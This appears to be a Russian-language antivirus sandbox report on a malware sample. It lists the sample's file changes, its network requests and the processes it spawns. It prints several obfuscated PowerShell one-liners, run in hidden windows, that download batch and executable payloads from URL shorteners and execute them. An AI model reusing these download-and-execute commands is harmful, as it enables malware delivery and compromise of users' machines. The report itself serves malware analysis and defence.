Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 40; Remove-Item -Path $enV`:TEM`P\pd.bat -Force
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $enV`:TEM`P;Start-Sleep 17;(get-item pd.bat).Attributes= 'Hidden'
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 25;cd $enV`:TEM`P; .\pd.bat
- '<SYSTEM32>\cmd.exe' /c p^owershell -w 1 (nEw-oBjecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y4bp38z3','pd.bat')
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\documents\pd.bat
Присваивает атрибут 'скрытый' для следующих файлов
- %HOMEPATH%\documents\pd.bat
Сетевая активность
TCP
Запросы HTTP GET
- http://ni###xserver.eu/bat/scriptxls_b08764e7-3901-4118-80c7-4851af8caf45_kingshakes.bat
UDP
- DNS ASK ti##url.com
- DNS ASK ni###xserver.eu
- DNS ASK cu#t.ly
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 40; Remove-Item -Path $enV`:TEM`P\pd.bat -Force' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $enV`:TEM`P;Start-Sleep 17;(get-item pd.bat).Attributes= 'Hidden'' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 25;cd $enV`:TEM`P; .\pd.bat' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^owershell -w 1 (nEw-oBjecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y4bp38z3','pd.bat')' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 cd $enV`:TEM`P;Start-Sleep 17;(get-item pd.bat).Attributes= 'Hidden'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 25;cd $enV`:TEM`P; .\pd.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oBjecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y4bp38z3','pd.bat')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 40; Remove-Item -Path $enV`:TEM`P\pd.bat -Force
- '<SYSTEM32>\cmd.exe' /c ""%HOMEPATH%\Documents\pd.bat""
- '<SYSTEM32>\mode.com' 18,1
- '<SYSTEM32>\cmd.exe' /c ver
- '<SYSTEM32>\cmd.exe' /c " p^owersh^el^l -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('h'+'ttps://cutt.ly/KgYNia2'),($env:appdata)+'\no.exe');Start-Sleep 2; Start-Process $env:appdata\no.exe;"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('h'+'ttps://cutt.ly/KgYNia2'),($env:appdata)+'\no.exe');Start-Sleep 2; Start-Process $env:appdata\no.exe;
